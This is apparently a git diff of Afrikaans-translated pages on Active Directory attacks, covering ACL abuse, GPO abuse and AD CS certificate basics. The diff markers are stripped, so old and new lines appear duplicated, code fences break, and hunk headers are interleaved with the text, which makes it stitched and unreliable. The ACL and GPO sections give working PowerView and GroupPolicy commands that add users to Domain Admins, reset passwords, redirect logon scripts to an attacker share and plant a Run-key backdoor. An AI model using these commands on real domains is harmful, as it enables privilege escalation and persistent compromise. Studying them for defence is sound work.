Hierdie voorreg stel aanvallers in staat om hulself by spesifieke groepe, soos `Domain Admins`, te voeg deur opdragte wat groep lidmaatskap direk manipuleer. Deur die volgende opdragte volgorde te gebruik, kan self-voeging gedoen word:
```powershell
Hierdie voorreg stel aanvallers in staat om hulself by spesifieke groepe, soos `Domain Admins`, te voeg deur opdragte wat groepslidmaatskap direk manipuleer. Deur die volgende opdragte volgorde te gebruik, kan self-toevoeging gedoen word:
```bash
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
## **WriteProperty (Self-Membership)**
'n Soortgelyke voorreg, dit laat aanvallers toe om hulself direk by groepe te voeg deur groep eienskappe te wysig as hulle die `WriteProperty` reg op daardie groepe het. Die bevestiging en uitvoering van hierdie voorreg word uitgevoer met:
```powershell
```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
net group "domain admins" spotless /add /domain
```
## **ForceChangePassword**
Die hou van die `ExtendedRight` op 'n gebruiker vir `User-Force-Change-Password` laat wagwoordherstel toe sonder om die huidige wagwoord te ken. Verifikasie van hierdie reg en die benutting daarvan kan gedoen word deur PowerShell of alternatiewe opdraglyn gereedskap, wat verskeie metodes bied om 'n gebruiker se wagwoord te herstel, insluitend interaktiewe sessies en een-liners vir nie-interaktiewe omgewings. Die opdragte wissel van eenvoudige PowerShell-aanroepe tot die gebruik van `rpcclient` op Linux, wat die veelsydigheid van aanvalsvektore demonstreer.
```powershell
```bash
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainUserPassword -Identity delegate -Verbose
Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
@ -72,22 +72,22 @@ rpcclient -U KnownUsername 10.10.10.192
```
## **WriteOwner op Groep**
As 'n aanvaller vind dat hulle `WriteOwner` regte oor 'n groep het, kan hulle die eienaarskap van die groep na hulself verander. Dit is veral impakvol wanneer die groep in vraag `Domain Admins` is, aangesien die verandering van eienaarskap breër beheer oor groepattributen en lidmaatskap toelaat. Die proses behels die identifisering van die korrekte objek via `Get-ObjectAcl` en dan die gebruik van `Set-DomainObjectOwner` om die eienaar te wysig, hetsy deur SID of naam.
```powershell
As 'n aanvaller ontdek dat hulle `WriteOwner` regte oor 'n groep het, kan hulle die eienaarskap van die groep na hulself verander. Dit is veral impakvol wanneer die groep in vraag `Domain Admins` is, aangesien die verandering van eienaarskap breër beheer oor groepsattributen en lidmaatskap toelaat. Die proses behels die identifisering van die korrekte objek via `Get-ObjectAcl` en dan die gebruik van `Set-DomainObjectOwner` om die eienaar te wysig, hetsy deur SID of naam.
```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
```
## **GenericWrite op Gebruiker**
Hierdie toestemming laat 'n aanvaller toe om gebruiker eienskappe te wysig. Spesifiek, met `GenericWrite` toegang, kan die aanvaller die aanmeldskrip pad van 'n gebruiker verander om 'n kwaadwillige skrip uit te voer tydens gebruiker aanmelding. Dit word bereik deur die `Set-ADObject` opdrag te gebruik om die `scriptpath` eienskap van die teiken gebruiker op te dateer om na die aanvaller se skrip te verwys.
```powershell
Hierdie toestemming laat 'n aanvaller toe om gebruikers eienskappe te wysig. Spesifiek, met `GenericWrite` toegang, kan die aanvaller die aanmeldskrip pad van 'n gebruiker verander om 'n kwaadwillige skrip uit te voer tydens die gebruiker se aanmelding. Dit word bereik deur die `Set-ADObject` opdrag te gebruik om die `scriptpath` eienskap van die teiken gebruiker op te dateer om na die aanvaller se skrip te verwys.
```bash
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
```
## **GenericWrite op Groep**
Met hierdie voorreg kan aanvallers groepslidmaatskap manipuleer, soos om hulself of ander gebruikers by spesifieke groepe te voeg. Hierdie proses behels die skep van 'n geloofsbrief objek, dit gebruik om gebruikers by 'n groep te voeg of te verwyder, en die lidmaatskap veranderinge met PowerShell-opdragte te verifieer.
```powershell
```bash
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
@ -96,8 +96,8 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
```
## **WriteDACL + WriteOwner**
Die besit van 'n AD objek en die hê van `WriteDACL` regte daarop stel 'n aanvaller in staat om vir hulself `GenericAll` regte oor die objek toe te ken. Dit word bereik deur ADSI manipulasie, wat volle beheer oor die objek toelaat en die vermoë om sy groep lidmaatskappe te wysig. Ten spyte hiervan, bestaan daar beperkings wanneer daar probeer word om hierdie regte te benut met die Active Directory module se `Set-Acl` / `Get-Acl` cmdlets.
```powershell
Die besit van 'n AD objek en die hê van `WriteDACL` voorregte daarop stel 'n aanvaller in staat om vir hulself `GenericAll` voorregte oor die objek toe te ken. Dit word bereik deur ADSI-manipulasie, wat volle beheer oor die objek toelaat en die vermoë om sy groep lidmaatskappe te wysig. Ten spyte hiervan bestaan daar beperkings wanneer daar probeer word om hierdie voorregte te benut met die Active Directory module se `Set-Acl` / `Get-Acl` cmdlets.
```bash
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
@ -116,24 +116,24 @@ Gedelegeerde toegang om Groep Beleidsobjekte (GPO's) te bestuur kan beduidende s
### GPO-regte op te som
Om verkeerd geconfigureerde GPO's te identifiseer, kan PowerSploit se cmdlets saamgeketting word. Dit stel in staat om GPO's te ontdek waarvoor 'n spesifieke gebruiker regte het om te bestuur: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
Om verkeerd geconfigureerde GPO's te identifiseer, kan PowerSploit se cmdlets saamgeketting word. Dit stel die ontdekking van GPO's wat 'n spesifieke gebruiker regte het om te bestuur, moontlik: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
**Rekenaars met 'n Gegewe Beleid Toegepas**: Dit is moontlik om te bepaal watter rekenaars 'n spesifieke GPO toegepas is, wat help om die omvang van potensiële impak te verstaan. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
**Rekenaars met 'n Gegewe Beleid Toegepas**: Dit is moontlik om te bepaal watter rekenaars 'n spesifieke GPO van toepassing is, wat help om die omvang van potensiële impak te verstaan. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
**Beleide Toegepas op 'n Gegewe Rekenaar**: Om te sien watter beleide op 'n spesifieke rekenaar toegepas is, kan opdragte soos `Get-DomainGPO` gebruik word.
**OUs met 'n Gegewe Beleid Toegepas**: Om organisatoriese eenhede (OUs) te identifiseer wat deur 'n gegewe beleid geraak word, kan `Get-DomainOU` gebruik word.
**OUs met 'n Gegewe Beleid Toegepas**: Om organisatoriese eenhede (OUs) wat deur 'n gegewe beleid geraak word, te identifiseer, kan `Get-DomainOU` gebruik word.
### Misbruik GPO - New-GPOImmediateTask
Verkeerd geconfigureerde GPO's kan benut word om kode uit te voer, byvoorbeeld, deur 'n onmiddellike geskeduleerde taak te skep. Dit kan gedoen word om 'n gebruiker by die plaaslike administrateursgroep op geraakte masjiene te voeg, wat regte beduidend verhoog:
```powershell
Verkeerd geconfigureerde GPO's kan benut word om kode uit te voer, byvoorbeeld, deur 'n onmiddellike geskeduleerde taak te skep. Dit kan gedoen word om 'n gebruiker by die plaaslike administrateursgroep op geraakte masjiene te voeg, wat regte aansienlik verhoog:
```bash
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
```
### GroupPolicy module - Misbruik GPO
Die GroupPolicy module, indien geïnstalleer, maak die skep en koppel van nuwe GPO's moontlik, en stel voorkeure soos registerwaardes in om backdoors op die geraakte rekenaars uit te voer. Hierdie metode vereis dat die GPO opgedateer word en 'n gebruiker moet aanmeld op die rekenaar vir uitvoering:
```powershell
Die GroupPolicy module, indien geïnstalleer, maak die skepping en koppel van nuwe GPO's moontlik, en stel voorkeure soos registerwaardes in om backdoors op die geraakte rekenaars uit te voer. Hierdie metode vereis dat die GPO opgedateer word en 'n gebruiker moet aanmeld op die rekenaar vir uitvoering:
```bash
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
```
@ -149,15 +149,15 @@ GPO-opdaterings gebeur tipies elke 90 minute. Om hierdie proses te versnel, vera
### Under the Hood
By die inspeksie van die Geskeduleerde Take vir 'n gegewe GPO, soos die `Misconfigured Policy`, kan die toevoeging van take soos `evilTask` bevestig word. Hierdie take word geskep deur middel van skripte of opdraglyn gereedskap wat daarop gemik is om stelsels gedrag te verander of bevoegdhede te verhoog.
By inspeksie van die Geskeduleerde Take vir 'n gegewe GPO, soos die `Misconfigured Policy`, kan die toevoeging van take soos `evilTask` bevestig word. Hierdie take word geskep deur middel van skripte of opdraglyn gereedskap wat daarop gemik is om stelsels gedrag te verander of bevoegdhede te verhoog.
Die struktuur van die taak, soos getoon in die XML-konfigurasie lêer wat deur `New-GPOImmediateTask` gegenereer is, skets die spesifieke van die geskeduleerde taak - insluitend die opdrag wat uitgevoer moet word en sy triggers. Hierdie lêer verteenwoordig hoe geskeduleerde take gedefinieer en bestuur word binne GPO's, wat 'n metode bied om arbitrêre opdragte of skripte as deel van beleidsafdwinging uit te voer.
### Users and Groups
GPO's laat ook die manipulasie van gebruikers- en groep lidmaatskappe op teikenstelsels toe. Deur die Gebruikers- en Groep beleidslêers direk te redigeer, kan aanvallers gebruikers aan bevoorregte groepe, soos die plaaslike `administrators` groep, toevoeg. Dit is moontlik deur die delegasie van GPO bestuur toestemming, wat die wysiging van beleidslêers toelaat om nuwe gebruikers in te sluit of groep lidmaatskappe te verander.
GPO's laat ook die manipulasie van gebruikers- en groep lidmaatskappe op teikenstelsels toe. Deur die Gebruikers- en Groep beleid lêers direk te redigeer, kan aanvallers gebruikers aan bevoorregte groepe, soos die plaaslike `administrators` groep, toevoeg. Dit is moontlik deur die delegasie van GPO bestuur toestemming, wat die wysiging van beleids lêers toelaat om nuwe gebruikers in te sluit of groep lidmaatskappe te verander.
Die XML-konfigurasie lêer vir Gebruikers en Groepe skets hoe hierdie veranderinge geïmplementeer word. Deur inskrywings aan hierdie lêer toe te voeg, kan spesifieke gebruikers verhoogde bevoegdhede oor geraakte stelsels verleen word. Hierdie metode bied 'n direkte benadering tot bevoegdheid verhoging deur GPO manipulasie.
Die XML-konfigurasie lêer vir Gebruikers en Groepe skets hoe hierdie veranderinge geïmplementeer word. Deur inskrywings aan hierdie lêer toe te voeg, kan spesifieke gebruikers verhoogde bevoegdhede oor geraakte stelsels toegeken word. Hierdie metode bied 'n direkte benadering tot bevoegdheid verhoging deur GPO manipulasie.
Verder kan addisionele metodes vir die uitvoering van kode of die handhawing van volharding, soos die benutting van aanmeld/afmeld skripte, die wysiging van registriesleutels vir autoruns, die installering van sagteware via .msi lêers, of die redigering van dienskonfigurasies, ook oorweeg word. Hierdie tegnieke bied verskeie roetes om toegang te handhaaf en teikenstelsels te beheer deur die misbruik van GPO's.

View File

@ -6,35 +6,35 @@
### Components of a Certificate
- Die **Onderwerp** van die sertifikaat dui sy eienaar aan.
- 'n **Publieke Sleutel** word gekoppel aan 'n privaat gehou sleutel om die sertifikaat aan sy regmatige eienaar te verbind.
- Die **Onderwerp** van die sertifikaat dui die eienaar aan.
- 'n **Publieke Sleutel** word gekoppel aan 'n privaat besit sleutel om die sertifikaat aan sy regmatige eienaar te verbind.
- Die **Geldigheidsperiode**, gedefinieer deur **NotBefore** en **NotAfter** datums, merk die sertifikaat se effektiewe duur.
- 'n Unieke **Serie Nommer**, verskaf deur die Sertifikaat Owerheid (CA), identifiseer elke sertifikaat.
- 'n Unieke **Serienommer**, verskaf deur die Sertifikaatowerheid (CA), identifiseer elke sertifikaat.
- Die **Uitgewer** verwys na die CA wat die sertifikaat uitgereik het.
- **SubjectAlternativeName** laat vir addisionele name vir die onderwerp, wat identifikasiefleksibiliteit verbeter.
- **Basiese Beperkings** identifiseer of die sertifikaat vir 'n CA of 'n eindentiteit is en definieer gebruiksbeperkings.
- **Verlengde Sleutel Gebruik (EKUs)** delineer die sertifikaat se spesifieke doele, soos kode ondertekening of e-pos versleuteling, deur middel van Objekt Identifiseerders (OIDs).
- **Verlengde Sleutelgebruik (EKUs)** delineer die sertifikaat se spesifieke doele, soos kodehandtekening of e-posversleuteling, deur middel van Objektidentifiseerders (OIDs).
- Die **Handtekening Algoritme** spesifiseer die metode vir die ondertekening van die sertifikaat.
- Die **Handtekening**, geskep met die uitgewer se privaat sleutel, waarborg die sertifikaat se egtheid.
### Special Considerations
- **Subject Alternative Names (SANs)** brei 'n sertifikaat se toepasbaarheid uit na verskeie identiteite, wat noodsaaklik is vir bedieners met verskeie domeine. Veilige uitreikprosesse is noodsaaklik om te verhoed dat aanvallers die SAN-spesifikasie manipuleer en so identiteitsdiefstal veroorsaak.
- **Subject Alternative Names (SANs)** brei 'n sertifikaat se toepasbaarheid uit na verskeie identiteite, wat noodsaaklik is vir bedieners met verskeie domeine. Veilige uitreikprosesse is noodsaaklik om te verhoed dat aanvallers die SAN-spesifikasie manipuleer en sodoende identiteitsdiefstal risikos skep.
### Certificate Authorities (CAs) in Active Directory (AD)
AD CS erken CA sertifikate in 'n AD woud deur middel van aangewese houers, elk wat unieke rolle dien:
AD CS erken CA-sertifikate in 'n AD-woud deur middel van aangewese houers, elk wat unieke rolle dien:
- Die **Sertifiseringsowerhede** houer bevat vertroude wortel CA sertifikate.
- Die **Inskrywingsdienste** houer detail Enterprise CA's en hul sertifikaat sjablone.
- Die **NTAuthCertificates** objek sluit CA sertifikate in wat gemagtig is vir AD autentisering.
- Die **AIA (Authority Information Access)** houer fasiliteer sertifikaat ketting validasie met tussenliggende en kruis CA sertifikate.
- Die **Sertifikaatowerhede** houer bevat vertroude wortel CA-sertifikate.
- Die **Inskrywingsdienste** houer bevat Enterprise CA's en hul sertifikaat sjablone.
- Die **NTAuthCertificates** objek sluit CA-sertifikate in wat gemagtig is vir AD-outehentisering.
- Die **AIA (Authority Information Access)** houer fasiliteer sertifikaatkettingvalidasie met tussenliggende en kruis CA-sertifikate.
### Certificate Acquisition: Client Certificate Request Flow
1. Die versoekproses begin met kliënte wat 'n Enterprise CA vind.
2. 'n CSR word geskep, wat 'n publieke sleutel en ander besonderhede bevat, na die generering van 'n publieke-privaat sleutel paar.
3. Die CA evalueer die CSR teenoor beskikbare sertifikaat sjablone, en stel die sertifikaat uit gebaseer op die sjabloon se toestemmings.
3. Die CA evalueer die CSR teenoor beskikbare sertifikaat sjablone, en stel die sertifikaat uit op grond van die sjabloon se toestemmings.
4. Na goedkeuring, onderteken die CA die sertifikaat met sy privaat sleutel en keer dit terug na die kliënt.
### Certificate Templates
@ -43,7 +43,7 @@ Gedefinieer binne AD, skets hierdie sjablone die instellings en toestemmings vir
## Certificate Enrollment
Die inskrywingsproses vir sertifikate word geinitieer deur 'n administrateur wat **'n sertifikaat sjabloon skep**, wat dan **gepubliseer** word deur 'n Enterprise Sertifikaat Owerheid (CA). Dit maak die sjabloon beskikbaar vir kliënt inskrywing, 'n stap wat bereik word deur die sjabloon se naam by die `certificatetemplates` veld van 'n Active Directory objek te voeg.
Die inskrywingsproses vir sertifikate word geinitieer deur 'n administrateur wat **'n sertifikaat sjabloon skep**, wat dan **gepubliseer** word deur 'n Enterprise Sertifikaatowerheid (CA). Dit maak die sjabloon beskikbaar vir kliëntinskrywing, 'n stap wat bereik word deur die sjabloon se naam by die `certificatetemplates` veld van 'n Active Directory objek te voeg.
Vir 'n kliënt om 'n sertifikaat aan te vra, moet **inskrywingsregte** toegeken word. Hierdie regte word gedefinieer deur sekuriteitsbeskrywings op die sertifikaat sjabloon en die Enterprise CA self. Toestemmings moet in beide plekke toegeken word vir 'n versoek om suksesvol te wees.
@ -53,18 +53,18 @@ Hierdie regte word gespesifiseer deur middel van Toegang Beheer Inskrywings (ACE
- **Sertifikaat-Inskrywing** en **Sertifikaat-AutoInskrywing** regte, elk geassosieer met spesifieke GUIDs.
- **VerlengdeRegte**, wat alle verlengde toestemmings toelaat.
- **VolleBeheer/GemiddeldAlles**, wat volledige beheer oor die sjabloon bied.
- **VolleBeheer/GenerieseAlles**, wat volledige beheer oor die sjabloon bied.
### Enterprise CA Enrollment Rights
Die CA se regte word uiteengesit in sy sekuriteitsbeskrywing, toeganklik via die Sertifikaat Owerheid bestuur konsol. Sommige instellings laat selfs laag-geprivilegieerde gebruikers afstandstoegang toe, wat 'n sekuriteitskwessie kan wees.
Die CA se regte word uiteengesit in sy sekuriteitsbeskrywing, toeganklik via die Sertifikaatowerheid bestuurconsole. Sommige instellings laat selfs laag-geprivilegieerde gebruikers toe om afstandstoegang te, wat 'n sekuriteitskwessie kan wees.
### Additional Issuance Controls
Sekere kontroles mag van toepassing wees, soos:
- **Bestuurder Goedkeuring**: Plaas versoeke in 'n hangende toestand totdat dit deur 'n sertifikaat bestuurder goedgekeur word.
- **Inskrywingsagente en Gemagtigde Handtekeninge**: Spesifiseer die aantal vereiste handtekeninge op 'n CSR en die nodige Aansoek Beleid OIDs.
- **Bestuurder Goedkeuring**: Plaas versoeke in 'n hangende toestand totdat dit deur 'n sertifikaatbestuurder goedgekeur word.
- **Inskrywingsagente en Gemagtigde Handtekeninge**: Spesifiseer die aantal vereiste handtekeninge op 'n CSR en die nodige Aansoekbeleid OIDs.
### Methods to Request Certificates
@ -72,30 +72,30 @@ Sertifikate kan aangevra word deur:
1. **Windows Kliënt Sertifikaat Inskrywing Protokol** (MS-WCCE), met DCOM interfaces.
2. **ICertPassage Afstand Protokol** (MS-ICPR), deur middel van benoemde pype of TCP/IP.
3. Die **sertifikaat inskrywing web koppelvlak**, met die Sertifikaat Owerheid Web Inskrywing rol geïnstalleer.
3. Die **sertifikaat inskrywing web koppelvlak**, met die Sertifikaatowerheid Web Inskrywing rol geïnstalleer.
4. Die **Sertifikaat Inskrywing Diens** (CES), in samewerking met die Sertifikaat Inskrywing Beleid (CEP) diens.
5. Die **Netwerk Toestel Inskrywing Diens** (NDES) vir netwerk toestelle, met die Simple Certificate Enrollment Protocol (SCEP).
5. Die **Netwerk Toestel Inskrywing Diens** (NDES) vir netwerktoestelle, met die gebruik van die Eenvoudige Sertifikaat Inskrywing Protokol (SCEP).
Windows gebruikers kan ook sertifikate aan vra via die GUI (`certmgr.msc` of `certlm.msc`) of opdraglyn gereedskap (`certreq.exe` of PowerShell se `Get-Certificate` opdrag).
```powershell
```bash
# Example of requesting a certificate using PowerShell
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
```
## Sertifikaat Outentisering
## Sertifikaat Verifikasie
Active Directory (AD) ondersteun sertifikaat outentisering, hoofsaaklik deur gebruik te maak van **Kerberos** en **Secure Channel (Schannel)** protokolle.
Active Directory (AD) ondersteun sertifikaat verifikasie, hoofsaaklik deur gebruik te maak van **Kerberos** en **Secure Channel (Schannel)** protokolle.
### Kerberos Outentiseringsproses
### Kerberos Verifikasie Proses
In die Kerberos outentiseringsproses word 'n gebruiker se versoek om 'n Ticket Granting Ticket (TGT) onderteken met die **privaat sleutel** van die gebruiker se sertifikaat. Hierdie versoek ondergaan verskeie validerings deur die domeinbeheerder, insluitend die sertifikaat se **geldigheid**, **pad**, en **herroepingstatus**. Validerings sluit ook in die verifikasie dat die sertifikaat van 'n vertroude bron kom en die bevestiging van die uitreiker se teenwoordigheid in die **NTAUTH sertifikaatwinkel**. Suksesvolle validerings lei tot die uitreiking van 'n TGT. Die **`NTAuthCertificates`** objek in AD, gevind by:
In die Kerberos verifikasie proses, word 'n gebruiker se versoek vir 'n Ticket Granting Ticket (TGT) onderteken met die **privaat sleutel** van die gebruiker se sertifikaat. Hierdie versoek ondergaan verskeie validerings deur die domeinbeheerder, insluitend die sertifikaat se **geldigheid**, **pad**, en **herroepingstatus**. Validerings sluit ook in om te verifieer dat die sertifikaat van 'n vertroude bron kom en om die uitreiker se teenwoordigheid in die **NTAUTH sertifikaat winkel** te bevestig. Suksesvolle validerings lei tot die uitreiking van 'n TGT. Die **`NTAuthCertificates`** objek in AD, gevind by:
```bash
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
```
is sentraal tot die vestiging van vertroue vir sertifikaatverifikasie.
### Veilige Kanaal (Schannel) Verifikasie
### Secure Channel (Schannel) Verifikasie
Schannel fasiliteer veilige TLS/SSL verbindings, waar tydens 'n handdruk, die kliënt 'n sertifikaat aanbied wat, indien suksesvol geverifieer, toegang magtig. Die toewysing van 'n sertifikaat aan 'n AD-rekening kan Kerberos se **S4U2Self** funksie of die sertifikaat se **Subject Alternative Name (SAN)** insluit, onder andere metodes.
Schannel fasiliteer veilige TLS/SSL verbindings, waar tydens 'n handdruk, die kliënt 'n sertifikaat aanbied wat, indien suksesvol geverifieer, toegang magtig. Die toewysing van 'n sertifikaat aan 'n AD-rekening kan die Kerberos se **S4U2Self** funksie of die sertifikaat se **Subject Alternative Name (SAN)** insluit, onder andere metodes.
### AD Sertifikaat Dienste Enumerasie

View File

@ -6,44 +6,44 @@
### Components of a Certificate
- Die **Onderwerp** van die sertifikaat dui die eienaar aan.
- Die **Onderwerp** van die sertifikaat dui sy eienaar aan.
- 'n **Publieke Sleutel** word gekoppel aan 'n privaat besit sleutel om die sertifikaat aan sy regmatige eienaar te verbind.
- Die **Geldigheidsperiode**, gedefinieer deur **NotBefore** en **NotAfter** datums, merk die sertifikaat se effektiewe duur.
- 'n unieke **Serie Nommer**, verskaf deur die Sertifikaat Owerheid (CA), identifiseer elke sertifikaat.
- 'n Unieke **Serienommer**, verskaf deur die Sertifikaatowerheid (CA), identifiseer elke sertifikaat.
- Die **Uitgewer** verwys na die CA wat die sertifikaat uitgereik het.
- **SubjectAlternativeName** laat vir addisionele name vir die onderwerp, wat identifikasiefleksibiliteit verbeter.
- **Basiese Beperkings** identifiseer of die sertifikaat vir 'n CA of 'n eindentiteit is en definieer gebruiksbeperkings.
- **Verlengde Sleutel Gebruik (EKUs)** delineer die sertifikaat se spesifieke doele, soos kode ondertekening of e-pos versleuteling, deur middel van Objekt Identifiseerders (OIDs).
- **Verlengde Sleutelgebruik (EKUs)** delineer die sertifikaat se spesifieke doele, soos kodehandtekening of e-posversleuteling, deur middel van Objektidentifiseerders (OIDs).
- Die **Handtekening Algoritme** spesifiseer die metode vir die ondertekening van die sertifikaat.
- Die **Handtekening**, geskep met die uitgewer se privaat sleutel, waarborg die sertifikaat se egtheid.
### Special Considerations
- **Onderwerp Alternatiewe Name (SANs)** brei 'n sertifikaat se toepasbaarheid uit na verskeie identiteite, wat noodsaaklik is vir bedieners met verskeie domeine. Veilige uitreikprosesse is noodsaaklik om te verhoed dat aanvallers die SAN spesifikasie manipuleer en so identiteitsdiefstal risikos skep.
- **Subject Alternative Names (SANs)** brei 'n sertifikaat se toepasbaarheid uit na verskeie identiteite, wat noodsaaklik is vir bedieners met verskeie domeine. Veilige uitreikprosesse is noodsaaklik om te verhoed dat aanvallers die SAN-spesifikasie manipuleer en sodoende identiteitsdiefstal risikos skep.
### Certificate Authorities (CAs) in Active Directory (AD)
AD CS erken CA sertifikate in 'n AD woud deur middel van aangewese houers, elk wat unieke rolle dien:
AD CS erken CA-sertifikate in 'n AD-woud deur middel van aangewese houers, elk wat unieke rolle dien:
- Die **Sertifiseringsowerhede** houer bevat vertroude wortel CA sertifikate.
- Die **Sertifikaatowerhede** houer bevat vertroude wortel CA-sertifikate.
- Die **Inskrywingsdienste** houer detail Enterprise CA's en hul sertifikaat sjablone.
- Die **NTAuthCertificates** objek sluit CA sertifikate in wat gemagtig is vir AD autentisering.
- Die **AIA (Owerheid Inligting Toegang)** houer fasiliteer sertifikaat ketting validasie met tussenliggende en kruis CA sertifikate.
- Die **NTAuthCertificates** objek sluit CA-sertifikate in wat gemagtig is vir AD-outehentisering.
- Die **AIA (Authority Information Access)** houer fasiliteer sertifikaatkettingvalidasie met tussenliggende en kruis CA-sertifikate.
### Certificate Acquisition: Client Certificate Request Flow
1. Die versoekproses begin met kliënte wat 'n Enterprise CA vind.
2. 'n CSR word geskep, wat 'n publieke sleutel en ander besonderhede bevat, na die generering van 'n publieke-privaat sleutel paar.
3. Die CA evalueer die CSR teenoor beskikbare sertifikaat sjablone, en stel die sertifikaat uit gebaseer op die sjabloon se toestemmings.
3. Die CA evalueer die CSR teenoor beskikbare sertifikaat sjablone, en stel die sertifikaat uit op grond van die sjabloon se toestemmings.
4. Na goedkeuring, onderteken die CA die sertifikaat met sy privaat sleutel en keer dit terug na die kliënt.
### Certificate Templates
Gedefinieer binne AD, skets hierdie sjablone die instellings en toestemmings vir die uitreiking van sertifikate, insluitend toegelate EKUs en inskrywings of wysigingsregte, wat krities is vir die bestuur van toegang tot sertifikaat dienste.
Gedefinieer binne AD, skets hierdie sjablone die instellings en toestemmings vir die uitreiking van sertifikate, insluitend toegelate EKUs en inskrywings- of wysigingsregte, wat krities is vir die bestuur van toegang tot sertifikaatdienste.
## Certificate Enrollment
Die inskrywingsproses vir sertifikate word geinitieer deur 'n administrateur wat **'n sertifikaat sjabloon skep**, wat dan **gepubliseer** word deur 'n Enterprise Sertifikaat Owerheid (CA). Dit maak die sjabloon beskikbaar vir kliënt inskrywing, 'n stap wat bereik word deur die sjabloon se naam by die `certificatetemplates` veld van 'n Active Directory objek te voeg.
Die inskrywingsproses vir sertifikate word geinitieer deur 'n administrateur wat **'n sertifikaat sjabloon skep**, wat dan **gepubliseer** word deur 'n Enterprise Sertifikaatowerheid (CA). Dit maak die sjabloon beskikbaar vir kliëntinskrywing, 'n stap wat bereik word deur die sjabloon se naam by die `certificatetemplates` veld van 'n Active Directory objek te voeg.
Vir 'n kliënt om 'n sertifikaat aan te vra, moet **inskrywingsregte** toegeken word. Hierdie regte word gedefinieer deur sekuriteitsbeskrywings op die sertifikaat sjabloon en die Enterprise CA self. Toestemmings moet in beide plekke toegeken word vir 'n versoek om suksesvol te wees.
@ -53,47 +53,47 @@ Hierdie regte word gespesifiseer deur middel van Toegang Beheer Inskrywings (ACE
- **Sertifikaat-Inskrywing** en **Sertifikaat-AutoInskrywing** regte, elk geassosieer met spesifieke GUIDs.
- **VerlengdeRegte**, wat alle verlengde toestemmings toelaat.
- **VolleBeheer/GemiddeldAlles**, wat volledige beheer oor die sjabloon bied.
- **VolleBeheer/GenerieseAlles**, wat volledige beheer oor die sjabloon bied.
### Enterprise CA Enrollment Rights
Die CA se regte word uiteengesit in sy sekuriteitsbeskrywing, toeganklik via die Sertifikaat Owerheid bestuur konsol. Sommige instellings laat selfs laag-geprivilegieerde gebruikers toe om afstandstoegang te hê, wat 'n sekuriteitskwessie kan wees.
Die CA se regte word uiteengesit in sy sekuriteitsbeskrywing, toeganklik via die Sertifikaatowerheid bestuurconsole. Sommige instellings laat selfs laag-geprivilegieerde gebruikers toe om afstandstoegang te hê, wat 'n sekuriteitskwessie kan wees.
### Additional Issuance Controls
Sekere kontroles mag van toepassing wees, soos:
- **Bestuurder Goedkeuring**: Plaas versoeke in 'n hangende toestand totdat dit deur 'n sertifikaat bestuurder goedgekeur word.
- **Inskrywingsagente en Gemagtigde Handtekeninge**: Spesifiseer die aantal vereiste handtekeninge op 'n CSR en die nodige Aansoek Beleid OIDs.
- **Bestuurder Goedkeuring**: Plaas versoeke in 'n hangende toestand totdat dit deur 'n sertifikaatbestuurder goedgekeur word.
- **Inskrywingsagente en Gemagtigde Handtekeninge**: Spesifiseer die aantal vereiste handtekeninge op 'n CSR en die nodige Aansoekbeleid OIDs.
### Methods to Request Certificates
Sertifikate kan aangevra word deur:
1. **Windows Kliënt Sertifikaat Inskrywing Protokol** (MS-WCCE), wat DCOM interfaces gebruik.
1. **Windows Kliënt Sertifikaat Inskrywing Protokol** (MS-WCCE), met DCOM interfaces.
2. **ICertPassage Afstand Protokol** (MS-ICPR), deur middel van benoemde pype of TCP/IP.
3. Die **sertifikaat inskrywing web koppelvlak**, met die Sertifikaat Owerheid Web Inskrywing rol geïnstalleer.
3. Die **sertifikaat inskrywing web koppelvlak**, met die Sertifikaatowerheid Web Inskrywing rol geïnstalleer.
4. Die **Sertifikaat Inskrywing Diens** (CES), in samewerking met die Sertifikaat Inskrywing Beleid (CEP) diens.
